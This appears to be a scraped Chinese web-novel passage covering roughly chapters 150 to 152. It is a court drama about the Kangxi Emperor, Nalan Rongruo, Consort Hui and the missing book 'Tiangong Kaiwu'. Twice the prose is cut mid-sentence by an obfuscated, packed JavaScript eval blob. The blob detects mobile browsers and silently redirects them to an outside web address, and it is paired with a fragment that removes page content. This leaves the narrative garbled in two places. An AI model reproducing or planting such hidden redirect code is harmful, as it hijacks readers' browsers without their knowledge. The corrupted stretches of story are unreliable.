“请皇上收回成命吧!”纳兰忽然做出请求,“这幅画与其赐给别人,不如让臣拿回家去做纪念。” 玄烨的心思被对方看透的那一刻,他感到气愤。 ——朕要做什么,凭什么要被你察觉?你有什么资格先一步替惠妃收下这幅画? ——你的才华,显露也好掩饰也罢,总是这般“不动声色”或是“毫无保留”地展现在朕面前,安静的你和理争的你,又或是作为“纳兰性德”的你,都让朕……恨而不舍、爱而不纵。 “万岁爷。”顾总管叫了一声,“这画您打算如何处置?” “朕,”玄烨一想,“就赏给皇贵妃吧!” 众人大惊。 连孝庄也从位置上站了起来,好皇孙玄烨何时立过皇贵妃了? 玄烨亲自把《赏月图》从梨花木立台上拿了下来,走向钮祜禄氏的坐席。 昭妃却是从容不迫地起身,从坐席后走出,恭敬相迎。 玄烨把《赏月图》赐给钮祜禄氏之后,与她携手走到主座席处。梁九功见状,立刻反应机灵地添了一把椅子,然后退到了一旁。 众人只听见康熙皇帝道: “朕于今夜正式册立昭妃钮祜禄氏为皇贵妃,协理六宫事物,尔等诸妃,应守礼克己,恭从以待,不可不分尊卑、造次越礼。可都记下了?” 众嫔妃纷纷起身,齐声应道:“臣妾等遵听圣意,恭喜皇贵妃娘娘,贺喜皇贵妃娘娘。” 玄烨点了头,先让钮祜禄氏在自己身边坐下,再让其她嫔妃回位就坐。 孝庄看着这一切,不发一语,让人看不出她对皇上的“意外之举”是赞同与否。 * 明珠父子也坐归了原位。 在康熙皇帝的一声:“诸位不必拘束,自取桌上饼食和美酒来享用吧!”中,明珠父子随着众人一同,开始饮食。 “儿啊,”明珠心有忧虑,“这遏必隆之女成了皇贵妃,是不是意味着惠妃、荣妃和宜妃的协理六宫之权被无声割消了呀?” “事发突然,怕是谁也没想到皇上会这么做。但是照着位分上面的权责划分来看,日后的后宫之事,理应是由皇后妃说了算。” “那惠儿——” “惠儿跟荣宜二妃一样,要以皇贵妃为尊。阿玛您看,今夜唯独德嫔没来,她倒是懂得巧避,看来日后后宫也不会无风无浪啊!” “儿啊,你要提点着惠儿好好应对。” “嗯。儿会找个机会跟惠儿碰面。”容若忍着不看向惠妃,“也……正好是有些别的话,要一并对惠儿说。” “你自己小心。”明珠叮嘱。 踏出这一步。 要不为别人所洞察,又要被惠妃所发觉,容若想了个办法。 他按照太皇太后的恩典独自外出透气,在桌面上留下了:自己的素佩的穗带和一个勺子。 他相信,惠儿聪慧,定是能够知道:二者相组,是个“约”字。 150.第150章 最危险的地方,或许就是最安全的地方。 纳兰容若走到“毓庆宫”的建筑工地附近,就在一处背风的墙后面等待表妹惠妃。 惠妃并未中途离场,不然动机和目的太明显,就等于是自己一身涉险、触犯宫规。 等到中秋宫宴结束,康熙皇帝亲口说了自己今晚歇在皇贵妃的景仁宫之后,惠妃才刻意绕了远路,去往与表兄容若心有灵犀的“约见之地”毓庆宫工地。 当她在月下远远地看见容若的身影的那一刻,她的心立刻柔柔而动。 她和他,不是德嫔和隆科多,没有相互利用和相互算计,只有藕断丝连的相惜与互助。 她和他,不是玄烨所误会的——“相思相见不相亲”的苦命鸳鸯,而是各自懂得分寸的各有家室之人,彼此之间的“情分”尚存,“感情”早已收敛,经得住一切考验。 容若见惠儿如约而至,走向她,朝她浅笑。 然后,两人身披月华的如水流光,绕着工事现场外的空地缓缓而走。 “惠儿,我与你长话短说。你跟大阿哥胤禔,母子可都还好?” “皇上顾着皇太子最多,皇长子和皇三子都是在各自的母妃身边成长,等到了相应的年龄再进学堂读书。我跟荣妃,只算作是身边有个依靠,只求孩子平安顺遂,将来与皇太子一同、兄友弟恭共保江山安泰。” 容若明白了惠儿的意思:皇太子是皇上亲自督导,其他皇子的成长轨迹,还是需要母妃来创作环境和言传身教。 “你自己呢?”容若问表妹,“深宫不分四季,知人知面难知心,可会感到身不由己、黯然伤神?” “惠儿觉得,自己面对皇上,跟表兄面对皇上无别。惠儿的四周是各种各样、心思难辨的女人,表兄的身边是围绕党争而心思用尽、手段层出的朝臣,想要自保,只能自强。” “接下来不管后宫会再起什么风浪,你都要好好顾着自己。” “惠儿答应表兄,会做个坚强的女子,背负宿命,不忘使命。” “惠儿,皇上先是以太皇太后的名义通达六宫,预册立昭妃为新皇后;今夜却是自作主张,直接给了昭妃‘皇贵妃’的位分。这说明两点:后宫之事,钮祜禄氏只有最高掌管之责、而无最高掌管之权;位分之变,钮祜禄氏只贴上了一个新标、而非真的恰如其分。” “表兄你以为,皇上用意何在?” “皇上猜忌心重,不可否认他今晚这么做,有赌气发泄之因、也有警告你我之意,总归是跟昭妃本人的‘好’或者‘福气’无关。” 容若缓缓而行,自知身体渐渐难耐夜间寒凉,已是微恙。 “太皇太后那边——”惠儿略有斟酌,“今晚会向苏嬷嬷恼皇上吗?” “君无戏言,昭妃的位分进了就是进了,有历练才能有成长、有攀升的轨迹才能让步伐更踏实,先封皇贵妃再封皇后,也顺理成章。只要她不出错,后宫没有别的不中听的话,太皇太后也不会说什么。” “那惠儿今后当如何?” “知足而慎向高位,承宠而宽以分恩,立威而自知进退。” “表兄之言,句句有用,惠儿记下了。” 容若轻咳数声,用自己的帕子捂了捂嘴。 月色下,帕子的翻折处颜色见深,他迅速把帕子揉在手中,未让惠儿察觉染迹。 * 玄烨来到一棵金桂树背后,悄无声息地看着眼前的一切。 原来,玄烨在与皇贵妃一起回景仁宫的路上,忽然想去看看毓庆宫的工事进程,便不听敬事房公公的磕头请求,抛弃了皇贵妃而另去它处。 敬事房的公公跪在地上等着领罪,皇贵妃的性子却是温和,她不生气也不埋怨,只道:“皇上有皇上的想法,强行挽留也并非本宫所愿。林公公你不必自责,本宫不会罚你。” 敬事房公公谢了皇贵妃,又提心吊胆地问:“娘娘,太皇太后那边,奴才可要去回话?” 皇贵妃道:“不必,本宫会当作皇上今晚就在本宫身边,哪里也没有去过。” 当下,玄烨对纳兰和惠妃隔着一段距离。 他,只能看见和揣测他俩在做什么,而听不清他俩在互诉着什么。 ——朕知道,在御花园假山背后私会的男女不是你俩。 ——但是,你俩今夜却瞒着朕在此处说悄悄话,到底是何居心? 居心和用意,两个不同的词汇。 可见当下玄烨的内心,是有所动气而隐忍的。 玄烨背着的右手,已经握成了拳头。 此刻上前龙威一震,对纳兰和惠妃责骂且当场治罪,便是让整个后宫都没法好好过中秋节,连新册立的皇贵妃也会难以做事和做人:进位分的当晚,夫君不在枕边,反而是在别处亲眼目击到了本不该发生的场景,这样的夫君,叫她如何挂住颜面? 此刻原地停留不前,对纳兰和惠妃宁信勿疑,便是表面上息事宁人而自己怄气在心,真是得不偿失。这般轻而易举地饶恕目之所见,日后要是助长了嫔妃秽乱宫闱的风气和纳兰的不止检敛,就是今日酿成的打错。 思前想后,玄烨终于痛下决心:忍。 忍此一时,待到日后,千因万素一触即发之际,新账旧账,再一并惩治。 玄烨才要转身,重回皇贵妃身边,却瞧见了这么一幕: 惠妃主动揽过纳兰容若的手,她与他挨的很近,垂头之间,似乎眉心相接,双唇温初。 她与他含情脉脉地静立着、忘却时空似的注视着、甚至是利用这样夜深人静的时光来……厮守着,可以不顾身份、不顾礼法、也不顾天地。 ——那么近、那么深,纳兰惠妃,你们心里要是还记得朕这个皇上,就不会自作聪明地在此地卿卿我我。 ——朕是堂堂一国之君,岂容自己眼皮底下发生这种事?到了对质之时,你们又有多少理由来反驳朕? 然而玄烨并不知道: 惠妃之所以看似跟容若粘在一起,是因为她扶着无力易倒的他。 她从表兄口中听得:“秋来月起,潮水都有涨落之感,何况是人的身子?偶感了一些风寒,酸乏欠好,食觉无味,久站易累,不打紧。” 她问他:“要不要找个地方歇下?或是找太医来瞧?” 他说不必,只想自己走回明珠那里去,睡过一晚后,醒来恢复了精神,再去给皇上和太皇太后请安,然后回家。 玄烨在寥落的秋风中走向景仁宫。 他忽然觉得自己可笑,今晚除了皇贵妃身侧,自己还有哪里可以去? * 中秋节后的江南,风景的色调渐深。 乌篷船镶嵌在水墨画卷中,秋花秀进了秋衣的针线间,朱颜亦是照进了古朴的铜镜中。 沈宛想到了姜夔,那位“一生布衣,却心向光明”的南宋乐师姜夔。 姜夔在《湖上寓居杂咏·其一》中,是这么写江南的秋季的: 荷叶披披一浦凉,青芦奕奕夜吟商。 平生最识江湖味,听得秋声忆故乡。 她觉得姜夔的诗词歌赋都写的极好,句句阳春白雪,而不似柳永,柳永词人人而歌,多是通俗。 她在京城之时,与容若一起度过了许多个秋天,却唯独没跟容若聊起过姜夔笔下的“秋”,大抵是姜夔太懂音律,字字珠玑,字字皆可成佳韵佳律的缘故,不太适合“词”与“乐”相分离的容若。 想来容若也是具备博采众长和海纳百川的文学情怀的,那便不向他聊姜夔的“乐”,只跟他说:“公子,你让你的宛卿来为你的词谱曲吧!你只听调子、不听曲子,可好?”然后听他回应:“不,都听,唱词只归你,只听你的声音。” 素馆雅室一间,雅室素琴一把,琴边素花一瓶,瓶侧纳兰香一盏。 香送温情一脉,情诉真心一颗,心牵双双真意,意与情景心相合。 宛若如此,便是最好。 * 姜飞远姜副爷忽然带了两个镖师亲登了宋应星宅,沈宛开门相迎,把那三人请入了厅内。 “宋公,你可知道现在市井街头在议论什么?老百姓们说的都是一桩奇事:咱们江南出身的宫廷画师禹之鼎,他不是远渡重洋到海外见识洋人去了吗?历经一场黑风猛雨过后,他行囊里面的一幅画,就跟是晓得‘归根认祖’似的回到咱们江南来了。” “姜副爷,你说的哪里话?宋某怎么一句都听不懂?”宋应星略皱眉,“纸张遇水即化,哪能经得起长途漂流?即便是得了天助,那到底是画还是人认了祖啊?这祖宗是谁啊?” “哎呀!祖宗可不就是咱们江南出身的千古画圣、山水画祖顾恺之吗?” 姜副爷一脸骄傲,就跟是自己也跟顾恺之沾了亲一样。 宋应星和沈宛,皆是奇怪看他。 “多亏是赶在入冬之前啊!大清第一画师禹之鼎的画,漂流回了大名鼎鼎的‘三绝画才’顾恺之诞生的福地,百姓们都说是江南之幸。” 宋应星打断:“那跟宋某有何关系啊?” “宋公,你在《天工开物》里面不是教了老百姓们怎么用甘蔗提炼红糖吗?老百姓们虽然识字不多,但是你画的插图步骤他们看得懂啊!” “宋某画插图的用意,正是如此。” “咱们的祖宗顾恺之乃是千古以来,吃甘蔗境界最高的人——从甘蔗尾吃到甘蔗头,叫做:苦尽甘来,渐入佳境。这次漂流回江南的画作,正是禹之鼎所画的、可以跟顾恺之的原作相媲美的《甘蔗图》。” 宋应星这下子总算是听明白怎么回事了。 ——禹之鼎复刻了顾恺之的《甘蔗图》,栩栩见真,风雨相助,机缘巧合,画归故里,相当于是:先辈跟后辈在灵魂上有了相遇,百姓们人人传为佳话。 ——《天工开物》涉及“甘蔗”,造福于百姓,百姓们也一并称颂了书籍的作者。 简而言之,就是: 以顾恺之为点、甘蔗为线,禹之鼎和宋应星同时成为了焦点话题和核心人物。 沈宛问:“《甘蔗图》如何能够遇水不晕墨,完好归根认祖?” 姜副爷笑道:“那自然是顾恺之在天上保佑,才能成就大清的这一传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665737|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇逸话。要不怎么大家都说禹之鼎是顾恺之的传人呢?这就是证据啊!” 沈宛警惕道:“这事康熙皇帝知道了吗?” “百姓们都议论开了,康熙皇帝哪能不知道?”姜副爷没往深处想,“没准还能被史官写进《禹之鼎传》里面哩!” 沈宛看向宋应星,认真道: “师傅,江南一向人才辈出,奇葩之事不断、传闻之风不减。” “彼时大唐茶圣陆羽在江南,乃是一边修心著述一边避难。茶税的征收,自《茶经》而起,当时有林党之人大出反对之声,说是:加重百姓负担、煽动茶叶走私、官化茶叶价值……好在是陆羽破釜沉舟、将难关各个击破【注1】,才不至于落个人毁书亡的下场。” “如今师傅您的大作《天工开物》下落不明,禹之鼎的《甘蔗图》却毫无征兆地在江南冒了头,要是有心人牵强附会,将《天工开物》当中的‘甘蔗炼糖法’等您用心总结出来的利民技巧,添油加醋、别有用心地回了康熙皇帝,语言之犀利、心思之险恶比林党打压陆羽更甚,那‘人毁书亡’的可就是师傅您了,您不得不从现在起,就防患于未然啊!” “宛姑娘说的对。”姜副爷这才意识到要害,“宋公,您是得尽快为自己、也为《天工开物》做打算。” 宋应星沉默不语。 一波未平,一波又起,这禹之鼎的画作出现的可真是时候。 书之所失,画之所现,个中因果,岂是归于天意能够解释的? * 索府。 康熙皇帝的质疑之声,终于传入了索额图耳中。 索额图翘着腿,冷看庭前秋花,“简直是荒谬,皇上竟然认为本官跟下落不明的《天工开物》相关。” 格尔芬冷道:“即便是无关,阿玛你也没安过什么好心。” 索额图哼了一声,“该贬的翰林院编修都贬了,该驱逐出京师的牵连者也驱逐出去了,这美化前明事例的案子不是结了吗?皇上还追究《天工开物》做什么?” 佟佳氏道:“老爷,还不是因为您收了守城的军爷们上缴的‘罗带香’吗?您也不晓得那‘罗带香’跟《天工开物》是同一批镖物的雇主啊!” “本官真是行了霉运!”索额图吩咐管家去拿盐来撒,“要是明珠在皇上耳边多说了几句正中要害的话,那本官简直是有口难辩。” “阿玛你指望撒盐驱邪和抱怨别人有用吗?”格尔芬看着管家离去的背影,“多做这些事,还不如早点派人去找皇上要的东西。” “找找找——”索额图一挑眉,“你真是站着说话不腰疼!照着当下的局势看,不正是因为皇上找不到,才打算拿本官来当出气筒吗?” “谁不知‘索额图的眼线遍布天下’?”格尔芬反问,“阿玛你要是真的有心,还会有找不到的东西?赫舍里一族的声誉要是毁在你手里——” 格尔芬故意不往下说。 佟佳氏道:“老爷,别的都不打紧,您背负的可不止咱们这一家和赫舍里这一族,还有将来的储君呢!” 索额图“蹭”地一下从凳子上站起来,边搓手边徘徊道:“没错,本官是皇太子的叔姥爷,将来是要跟着皇太子一起享福的!” 格尔芬从喉咙里发出“呵呵”的两声冷笑。 自己和长兄阿尔吉善分别在“皇宫当侍卫”和在“福建水师历练”,谁不是历风沐雨、吃苦耐劳?阿玛竟然有脸说出“享福”二字。 * 半夜。 徐乾学被一阵鸟叫声吵醒。 他也顾不得更衣来防秋露的寒湿了,蹬了鞋子就往搁置鸟笼的地方走。 来到鸟笼下面,他竟然看见那只金丝雀的羽毛好似沾了仙气一般,自带金光,闪闪地灼着他的眼睛。 他大惊,叫来管家,吩咐立刻掌灯,要照亮“汇贤亭”的四周来迎供仙鸟。 “汇贤亭”亮如白昼。 管家询问:“大人,您这是做什么啊?小的怎么不见那只金丝雀自体在发光?” “你懂什么?”徐乾学给了管家一个冷眼,“百鸟朝凤,皇上立了新的皇贵妃,本官府上的仙鸟对未来的皇后有所反应,说明什么?说明本官就要行大运了!” “蔡启僔蔡大人官复原职之后,日日精修学问,偏偏不像大人您,”管家摇了摇头,“您别说跟钮祜禄氏的人不沾边,跟康熙皇帝的后宫更是无缘,小的着实是不晓得您在高兴什么?” “本官要给昆山老家的家人们写去书信一封,叫家人们好生留意着《天工开物》的动向,一旦发现蛛丝马迹,就立刻快马传书上京城。” “大人,您是现在就写?” “快去准备笔墨!”徐乾学指向书房,“本官就坐在仙鸟面前写!” “是!”管家仍旧觉得徐乾学的反应和举动,都甚是蹊跷。 徐乾学对着金丝雀连连发笑,还时不时地用指关节有音律地敲击着石桌桌面。 那副怡然自得的模样,就跟是新年提前到来了一样,大运降至。 【注1】详情见《江南茶事录·陆羽传奇》。 151.第151章 明府。渌水亭。 秋来,盆栽的金桂飘香,卢氏亲自择了桂花花瓣制作桂花糕。此刻纳兰请曹寅食用的桂花汤圆,也是出自卢氏之手。 曹寅道:“纳兰你有此贤妻和美妾,真是至幸。我那夫人顾氏,便是越发爱做些打算盘的商略之事,我管她叫当家娘。” “子清本就生在经商之家,顾夫人正好懂得这些人情世故和买卖之事,不是正好?”纳兰笑道,“我的侧夫人颜袖云,亦是帮着额娘持家和打点着类似的往来的。” “如今我哪有闲情跟夫人聊商道?”曹寅喝了口桂花甜汤,“我这个御前侍卫干的不是保护皇上的差事,而是替皇上办类似密探的事,叫史册如何记载?” “子清该庆幸,日日不离君侧,没有跑动在外的好。” “纳兰你只是个特例。”曹寅戳破了一只花生馅儿的汤圆,“别人对你羡慕不来,你却是累觉想离。” “我现在什么都不是,一个没有职务的闲人——却要在康熙皇帝面前称臣,领着正三品的俸禄,我才是叫史官不知如何去叙述这段人生历程。” “皇上总会给你个头衔,你再等等。”曹寅道,“没准是个美差。” “美差早跟我无缘了。”纳兰苦笑,进了口桂花糕,“只要阿玛好,我被皇上做任何安排都是该受的。” 曹寅忽然凑近,小声问:“讲真,纳兰你看过《天工开物》吗?” “原本我没有看过,但是抄本我看过一些。”纳兰持赞许态度,“宋应星所写的方方面面,都是有助于国计民生的强策和好方略。” 曹寅又问:“这皇上为什么非要看《天工开物》不可?皇上要是信得过你,叫你挑了重点的和有用的讲给他听不就好了?” “难啊!”纳兰感慨,“且不说大臣们如何看待我,就说皇上要看《天工开物》的这一举动,皇上自身是想着从中汲取有益于工商农林的法则经验的,但是宋应星本人肯定是惶恐,以为康熙皇帝要从书中挑刺,清算于自己这个前明人士。” “那你不跟皇上明说?” “中秋宫宴,皇上不见得真的待见我。”纳兰有些失望,“我也不晓得自己哪里得罪了他,他竟然叫我写词服众,就跟我犯了错一样。” “你写了吗?” “看在太皇太后的面子上,写了。” “皇上是什么反应?” “皇上拿我当契机,给了惠妃暗示,也给昭妃进了位分。现在景仁宫里住着的,是皇贵妃了。” “纳兰你……真的是一次又一次成为皇上的‘借口‘呀!”曹寅拍了拍兄台的肩膀以示劝慰,“但是也好,至少没有惹出什么乱子来。” 纳兰后知后觉,神色有变:“嗯?” 曹寅疑惑:“怎么了?” 纳兰微蹙眉,“皇上不会真的发现了什么吧?” 曹寅宽范而笑,“你不要疑神疑鬼的,皇上要是想罚你早就罚了,还会等到现在吗?” “我忽然觉得不安,子清……我可能真的惹出了乱子,却被皇上一直忍着。” “纳兰,你没事吧?” “大抵我真的惹事了。罢了,我的事我自己会处理。”纳兰摇了摇头,然后定神,“子清,你今日来找我什么事?” * 纳兰和曹寅沿着渌水亭长廊散步。 “纳兰,我今日来找你,就是想让你来出出主意,皇上想要的《天工开物》,我该往哪儿去找?” “天下之大,寻人难寻物更难。”纳兰思索着,“想找《天工开物》的人,肯定不止皇上一个。” “皇上交待下来的差事,办不成也要硬着头皮去办。”曹寅有些急躁,“别人找别人的,我管不着也没时间管,但我领的可是皇命啊!” “我结交了一些江南文人,帮你问问。” “管用吗?” “总比没用的好。” 曹寅道:“据说《天工开物》不是数本书,而是一箱子书,照理说这么大的镖物,除非是有人有目的地劫走盗走,怎可能无缘无故丢失?” “我倒是觉得奇怪,”纳兰道,“这么重要的东西,宋应星为什么不亲自押镖,非要转手给别人托运?” 曹寅大胆推测:“难不成是宋应星把《天工开物》刻意藏在某处,让‘神龙镖局’的人走了趟‘偷梁换柱’的虚镖?” 纳兰被曹寅的想法一惊。 ——倒也不无可能。 ——声东击西,让康熙皇帝和好事之人都各自乱了阵脚,有助于宋应星自己顺利离开京师,隔岸观火。 “你是说宋应星往镖箱里装的是别的东西?”纳兰问,“反而是与之相关的人不知道,直接就往上面搁置了‘罗带香’,以至于被缴获的就只有‘罗带香’,守城的军爷没有往箱子的深处去翻?” “纳兰你不会真不知道吧?”曹寅惊讶,“罗带香出自北宋名妓李师师,这会全天下只有一个人能做,那个人就是沈宛。” “啊?”纳兰骤然停下脚步,流露出诧异神色,“沈宛?” “是啊,我的人已经去江南的歌楼打听了,迟早能探到沈宛跟这趟镖的牵连。” ——沈宛跟宋应星有关系。 ——沈宛有个不可对我提及真名实姓的师傅。 纳兰忽然明白了许多。 “子清,你的人要是探到了沈宛跟这事的牵连,你就先跟我说再去回康熙皇帝。” 曹寅也不细问纳兰跟沈宛关系发展到了什么程度、不可言说的感情变得如何,只本着一腔兄弟义气,道:“我自然是信你比信康熙皇帝多一些,你能替我拿主意,又能顾着宛姑娘,是为最善。” “多谢子清。” “我打算去宋应星旧宅搜索蛛丝马迹,没准真能把宋应星‘悄藏言盗’的《天工开物》找出来,纳兰你以为如何?” “你身负皇命,应当有所行动。” “好!万一真如我曹寅所料,宋应星故意翻弄风云,看康熙皇帝不重重治了他的罪!” “子清,切记:建功勿踩他人痛,逼人莫逼绝壁路。” “我听兄台你的,严查而不严办。” * 待到曹寅走后,纳兰坐在栏轩上细思。 偏头、闭目养神之时,他又想到了另一种可能性。 ——该不会是康熙皇帝自导自演,自己暗令扣下了《天工开物》,却让相关者都陷入了迷局之中、贼喊捉贼吧? ——可是从曹寅的焦急状态来看,也不像啊!那康熙皇帝为什么不找我商讨呢?又在布什么要让我陷入“不利境地”的罗网吗? 深秋的残荷褐黄而枯老,刻意抽走了水的泥浆干涸有纹,偶有蜻蜓飞过,已是晚暮而非清晨。 纳兰剪了一只残荷来赏,指尖触碰到脆瓣的那一瞬间,他听见了如环佩相击的清音,原来,不再柔软的花瓣就是以这般姿态落尘飘零的。 他对着手中的细韧荷杆颤眸,感怀之处,亦有“万物枯荣,诸行无常”之感。 他喃喃道: “荷瓣不为风所碎、却被外力所碰落,可见人之力胜过自然之力许多,正是如此,人才会惘然于‘无能为力’和‘力所能及’之间,成败终看:能护得何事周全?” “荷杆坚韧,弯折而不断,可见万物有灵,惟有挺直的腰杆不可催,人的心志亦是如此。只是这手中的沧桑感和粗糙感,稀释了多少岁月蹉跎,日日夜夜、年年岁岁的思风慕雨和披星戴月,又有几人共鸣?” 纳兰放在那枝残荷,也不再看眼前风景,而是回了房。 房中,有他的笔墨纸砚,他的心中,已成词曲。 《金玉调·残荷》 晓星初上月晚归,一池残荷默默。脆衣易落。执韧柄,叹流年悄过。 何事多寻,桌面瑰珀。笔已蘸墨。灯花瘦,烛泪堕,风来衣袂消阔。 * 次日。 纳兰容若跟卢氏夫人一起吃过早膳,便独自去了“饮水词歌·素菜馆”。 刘管事领着容若往回廊处走,“公子许久未来了,这间雅室小的是一日不忘打扫的。” “虽说有公子的字画和藏品在,雅室从不蒙尘,但小的也不敢懈怠。”刘管事推开了房间门,“之前公子交由宛姑娘打理的花草和陈设,小的不敢挪动位置,只是小做了修建和擦拭,公子看着可是觉得还好?” 容若在窗侧伴着一盆君子兰坐下。 “挺好。”容若环看了一遍室内,“氛围和感受如旧,缺了个相互诉心语的人而已,别的都没变过。” “公子请用茶。” “好。” 奉完茶后,刘管事关上了门。 他从橱柜里拿出一叠书稿,交给容若道:“这是张岱先生亲自送来的新书样稿,说是只放心给纳兰公子看。” “张岱先生还说了什么?”容若问,“他这不仅仅是叫我看稿,而是把稿件托付给我保存。” “回公子,张岱让小的转告:曹寅曹侍卫带着一众人马前去‘济国寺’后山掘地三尺、仔仔细细地搜查了宋应星的旧宅‘开物居’,楞是一无所获。” 容若把稿件用自己收集的奇石压在桌面上,问:“张岱先生本人,也被曹侍卫盘问了?” “这个张岱倒是没有明说。”刘管事再度斟茶,“只是小的觉得蹊跷,曹侍卫怎么知道宋应星曾在‘济国寺’后山小住?张岱又怎么能把宋应星旧宅的名字说的如此确切?” 容若心中盘算着,清晰道:“之前张岱想在‘济国寺’出家【注1】,皇上知道了,在皇上身边当差的曹侍卫自然也知道,而张岱与宋应星又是好友,曹寅推测的出来张宋二人在古刹附近‘隐居’不奇怪。” “公子常去‘济国寺’向妙觉禅师问玄辩理,可有听到什么风声?” “妙觉禅师没跟我提及过相关事宜。我只是在想,张岱先生仍旧在宋应星的‘开物居’中独居,《天工开物》要是真藏在古刹后山某处,他早该供出来了,不可能眼睁睁地看着曹侍卫带人搜山。” “供出来?”刘管事不信,“公子怎会下如此论断?” “嗯。”容若点头,“所谓一衣带水,《天工开物》跟《陶庵梦忆》不是一荣俱荣、一损俱损吗?要是老实说出《天工开物》的下落能够求得一个双全法,张岱先生何乐而不为?再次隐瞒宋应星的书的踪迹,对张岱先生自身没好处呀!” “曹侍卫白忙活了一场啊!”刘管事感慨,“公子既然早有想法,为何不劝着他?” “曹寅未必是白忙。”容若双手握着茶碗,“搜山是大动作,能够引蛇出洞也未可知。” “接下来,公子打算如何做?” “天冷,我须在家养着,趁着大雪未降,我想带正夫人卢氏外出走走。其余事情,我就做个‘双目旁观而心不静’之人吧!” 念及爱妻,容若冰心柔软。 卢氏是个温婉体贴、才不外露的女子,他需要这样的妻子陪伴: 因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个小公子给阿玛请了安,正要继续读书,就听见明珠道: “之前有个叫做顾贞观的文人,阿玛见他倒像是个性子倔和有骨气的,就是一根筋、不识时务,为了救友吴兆骞,什么事都做得出来。阿玛本想放手一搏,请顾贞观来府上给你俩当老师,思前想后,还是做了罢。” 揆叙道:“阿玛您问过额娘和容若哥哥的意思了吗?” 明珠坐的笔直,双手贴膝,严肃道:“我纳兰家学风端正、治学严谨,那顾贞观虽是个有才学的,但也不能叫他轻易进了家门来。” 揆叙听明白了,阿玛是自己拿的主意,没跟额娘和长兄商量过。 明珠又道:“那位严绳孙严先生受容若的邀请,来府上住了些时日,他的教学,对你俩可还有帮助?” 揆方道:“严先生性格豁达,不慕名利,颇是看重跟容若哥哥的友谊。他对儿跟揆叙哥哥,都是用心指导学问。” 明珠点了点头,“这就好,严绳孙再怎么说都是在宫里当过差的,不管是做人还是治学,比顾贞观靠的住。” 陪着两个小儿子读了一会儿书,明珠忽然问:“严先生在你俩面前如何评价容若?” 揆叙道:“严先生没有直言过这些。但是在儿看来,严先生像是容若哥哥可以谈论天下事的朋友,严先生在宫中担任其居住官,了解皇上了解的清楚,日后对阿玛和明党有利也未可知。” “嗯。”明珠起身,“容若回来以后,你俩叫他到阿玛的房间里来,关于严绳孙,阿玛有话要对容若说。” “是。” * 处理完政务之余,玄烨来到荣妃的钟粹宫。 荣妃放下手中的针线活,起身相迎。 “怎亲自做起了这些?”玄烨笑问,“给谁做的?” “臣妾给皇太子缝制福字冬帽,盼着皇太子福气满满,健康成长。” “那朕这个夫君,可也能从你手中得到亲制得好物?” 玄烨这话,明摆着对荣妃的“心意”有所预测,他深知:荣妃是会给皇上亲手缝制好东西的,不止荣妃,后宫的其她女人也如此。 只是,玄烨把今年冬季接受妃子“心意”的首次机会,给了荣妃罢了。 荣妃从橱柜中拿出一条金丝线做的腰带,道:“臣妾为皇上缝制了冬日腰带,一针一线皆是对皇上的念爱;臣妾将缝制好的腰带置于宝华殿中,诚心祈祷:皇上万岁,大清江山千秋。请皇上收下。” 玄烨自是高兴,接过金丝线腰带来仔细看过后,就让顾总管仔细收好,并答应荣妃:“这个寒冬,朕定会用上。” 玄烨来到皇太子的摇篮边,神色温情地看着他。 不久,有宫女拿了暖炭进来,荣妃从顾总管手中接过一件御寒的冬衫,轻披在玄烨身上。 玄烨在自己肩膀上握住荣妃的手,侧身,朝她点了点头。 然后,他让她坐到自己身边,推开了窗户。 “下雪了。” 玄烨与妻儿一同临窗。 “胤礽荣妃,你们听,下雪了。” 瑞雪兆丰年,好意头啊! 【注1】迫于局势和皇威,张岱一肩挑了莫须有之罪,赌气出家,为宋应星所阻,见第106章。 【注2】容若跟沈宛夜宿:济国寺后山的宋应星的“开物居”,见第124章。 152.第152章 江南降下了第一场雪。 沈宛烹煮了初雪中的第一壶茶,是容若爱喝的碧螺春。 临窗而坐,伴着古筝向下眺望,纷纷扬扬的雪花落进了河中,融入水中不见。 沈宛眼前浮现出了容若的模样,容若虽是怕冷,但他有他的冬日雅致: 像是明府花园中耐寒的地栽水仙、浴室中奇趣的石头摆件、书房里的页页词稿和一缕缕纳兰香、软榻矮桌之上的一碗药一碟松子仁几粒红枣片……都是公子才消受得起的。 宋应星饮着茶道:“此情此景,吾难免念及挚友张岱。想来张岱写下名篇《湖心亭看雪》之际,曾对吾言:‘大明盛景难再,心中积雪难消。’如今吾对雪而望,只道:张公所言大是。” 沈宛不知道如何回应好,索性沉默执茶。 宋应星又道:“天气越发寒冷,人难免懒惰,即便是我,著书立说之事,也自知勤勉不如张岱。竟不知张公独居古刹独栋屋至今,心情是否与我相同?” “师傅,您不妨伸出手去接一接窗外的雪。”沈宛将窗叶开到最大,“北方雪大,随风席卷,人在山中时日过得快。江南雪温,慢调轻落,人在小楼中时日过得慢。所以,您跟张岱先生怎会心情相同?” 宋应星伸出双手,不惧掌心寒冷,但惜四季流转,人别而心未别。 沈宛和宋应星之间未聊《天工开物》之事。 “御婵,近来不见你外出走动,却像是在家中泛起了单相思。可是有了再度上京之心?” “我只是觉得自己当下的生活没有什么不好。”沈宛看着茶炉中冒出的热气,“师傅对大清的怨恨渐消、逐渐摆脱了明俗而正轨清俗,我也不必再背负——‘接近公子,利用公子’的责任,能够敞开心扉去爱公子且对师傅毫无保留,已经满足。” “我亦觉得你有幸,自古以来,能够处理好正妻、侧室、侍妾三者关系的男子不多,纳兰性德是难得的谁都不相负之人。他虽不至于为了你而败坏了明府的家规,但他绝对会为你创造一个合适的生活环境,你俩的情思日后自有天意相牵,不必遗憾这些时日的分别。” 